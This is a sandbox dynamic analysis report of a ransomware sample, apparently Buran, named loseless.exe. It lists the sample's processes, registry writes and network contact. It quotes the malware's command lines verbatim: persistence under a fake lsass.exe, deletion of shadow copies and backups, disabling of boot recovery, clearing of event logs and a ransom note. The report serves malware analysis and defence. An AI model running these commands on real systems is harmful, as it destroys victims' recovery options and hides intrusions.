7806e02e...1f3e | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: -

loseless.exe

Windows Exe (x86-32)

Created at 2019-07-07T15:50:00

...

Remarks (1/1)

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x7ac Analysis Target High (Elevated) loseless.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" -
#3 0x814 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe\" *" #1
#4 0x82c Child Process High (Elevated) reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe\" *" #3
#5 0x838 Child Process High (Elevated) lsass.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" * #1
#6 0x840 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" & if not exist "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" exit ) #1
#7 0x86c Child Process High (Elevated) ping.exe ping -n 3 127.1 #6
#8 0x8c0 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures #5
#9 0x8d8 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no #5
#10 0x8f0 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet #5
#11 0x908 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup #5
#12 0x920 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0 #5
#13 0x938 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete backup #5
#14 0x950 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete #5
#15 0x968 Child Process High (Elevated) wmic.exe wmic shadowcopy delete #14
#16 0x36c RPC Server System (Elevated) svchost.exe C:\Windows\system32\svchost.exe -k netsvcs #15
#18 0x9b0 RPC Server System (Elevated) wmiprvse.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding #16
#19 0x9e0 RPC Server System (Elevated) vssvc.exe C:\Windows\system32\vssvc.exe #18
#20 0xa08 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet #5
#21 0xa20 Child Process High (Elevated) vssadmin.exe vssadmin delete shadows /all /quiet #20
#22 0xa3c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f #5
#23 0xa54 Child Process High (Elevated) reg.exe reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f #22
#24 0xa5c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f #5
#25 0xa74 Child Process High (Elevated) reg.exe reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f #24
#26 0xa7c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" #5
#27 0xa94 Child Process High (Elevated) reg.exe reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" #26
#28 0xa9c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h #5
#29 0xab4 Child Process High (Elevated) attrib.exe attrib "C:\Users\5p5NrGJn0jS HALPmcxz\documents\Default.rdp" -s -h #28
#30 0xabc Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C del "%userprofile%\documents\Default.rdp" #5
#31 0xad4 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Application #5
#32 0xaec Child Process High (Elevated) wevtutil.exe wevtutil.exe clear-log Application #31
#33 0xaf8 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Security #5
#34 0xb10 Child Process High (Elevated) wevtutil.exe wevtutil.exe clear-log Security #33
#35 0xb1c Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log System #5
#36 0xb34 Child Process High (Elevated) wevtutil.exe wevtutil.exe clear-log System #35
#37 0xb40 Child Process High (Elevated) cmd.exe "C:\Windows\system32\cmd.exe" /C sc config eventlog start=disabled #5
#38 0xb58 Child Process High (Elevated) sc.exe sc config eventlog start=disabled #37
#40 0x52c Autostart Medium lsass.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" * -
#47 0x64c Child Process Medium notepad.exe "C:\Windows\System32\notepad.exe" C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT #40

Behavior Information - Grouped by Category

Process #1: loseless.exe
105 2
»
Information Value
ID #1
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:27, Reason: Analysis Target
Unmonitor End Time: 00:00:43, Reason: Self Terminated
Monitor Duration 00:00:16
OS Process Information
»
Information Value
PID 0x7ac
Parent PID 0x45c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 7B4
0x 7C0
0x 7BC
0x 53C
0x 128
0x 248
0x 6D0
0x 41C
0x B0
0x 804
0x 810
0x 834
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
loseless.exe 0x011A0000 0x011D2FFF Relevant Image - 32-bit - False False
...
loseless.exe 0x011A0000 0x011D2FFF Process Termination - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran size = 1 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran - True 1
Fn
Registry (26)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 23
Fn
Process (3)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0x814, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Windows\system32\cmd.exe show_window = SW_HIDE True 1
Fn
Module (35)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe base_address = 0x11a0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75220000 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 261 True 2
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.EN process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe, size = 522 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x76cb434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75224c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x7529c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x7529ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75245934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7529d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7529dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x7529e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x7529f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x7529f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75245a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x7529ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x7529ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x7523b0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75236fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x752401a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x7523699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75246ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75266c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x7523dbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75247fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75237a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75240355 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (30)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 23
Fn
Get Time type = Performance Ctr, time = 15083946557 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (5)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = APPDATA, result_out = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 2
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 39 bytes
Total Data Received 380 bytes
Contacted Host Count 1
Contacted Hosts 158.69.67.193
HTTP Session #1
»
Information Value
Server Name geoiptool.com
Server Port 80
Username -
Password -
Data Sent 39 bytes
Data Received 380 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = geoiptool.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://geoiptool.com True 1
Fn
Read Response size = 1024, size_out = 1024 True 19
Fn
Data
Read Response size = 1024, size_out = 872 True 1
Fn
Data
Read Response size = 1024, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #3: cmd.exe
87 0
»
Information Value
ID #3
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe\" *"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:40, Reason: Child Process
Unmonitor End Time: 00:00:42, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x814
Parent PID 0x7ac (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 818
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe 156.00 KB MD5: b763b958d2508f11c7e332440173da94
SHA1: 88b55a5e9544636b7173415f538824da9e2e4220
SHA256: 7806e02ef484826de615db972b046c4f580c69ba59f549b25f78854f8e901f3e
SSDeep: 3072:8EX73H1IPfe7ng9UfmeUS1ZQb/LvmL6A41q6FCCszxZxli9BE:9X7m+SUay+AIq6YCsVZPc 		False
...
Host Behavior
File (34)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows - False 1
Fn
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe type = file_attributes True 1
Fn
Get Info STD_INPUT_HANDLE type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe type = file_attributes True 1
Fn
Get Info System Paging File type = file_type False 1
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 8
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open - - False 2
Fn
Copy C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe True 1
Fn
Read STD_INPUT_HANDLE size = 512, size_out = 512 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 104 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 27 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (2)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\reg.exe os_pid = 0x82c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Get Info c:\windows\syswow64\cmd.exe type = PROCESS_PAGE_PRIORITY True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a3e0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:01 (UTC) True 1
Fn
Get Time type = Ticks, time = 106548 True 1
Fn
Get Time type = Performance Ctr, time = 16124360170 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #4: reg.exe
41 0
»
Information Value
ID #4
File Name c:\windows\syswow64\reg.exe
Command Line reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe\" *"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:41, Reason: Child Process
Unmonitor End Time: 00:00:42, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x82c
Parent PID 0x814 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 830
Host Behavior
File (5)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 3
Fn
Write STD_OUTPUT_HANDLE size = 39 True 1
Fn
Data
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Read Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = Local Security Authority Subsystem Service False 1
Fn
Write Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = Local Security Authority Subsystem Service, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" *, size = 156, type = REG_SZ True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xc10000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:01 (UTC) True 1
Fn
Get Time type = Ticks, time = 106704 True 1
Fn
Get Time type = Performance Ctr, time = 16146894407 True 1
Fn
Process #5: lsass.exe
1289 4
»
Information Value
ID #5
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" *
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:42, Reason: Child Process
Unmonitor End Time: 00:01:05, Reason: Self Terminated
Monitor Duration 00:00:23
OS Process Information
»
Information Value
PID 0x838
Parent PID 0x7ac (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 83C
0x 860
0x 864
0x 868
0x 874
0x 878
0x 888
0x 894
0x 898
0x 8BC
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
lsass.exe 0x00CB0000 0x00CE2FFF Relevant Image - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\5B51C018.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\5B51C018.buran size = 1 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\5B51C018.buran - True 1
Fn
Registry (602)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Create Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - False 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 95
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 6
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 19
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 130
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 67
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 11
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 6
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 19
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 130
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 67
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 11
Fn
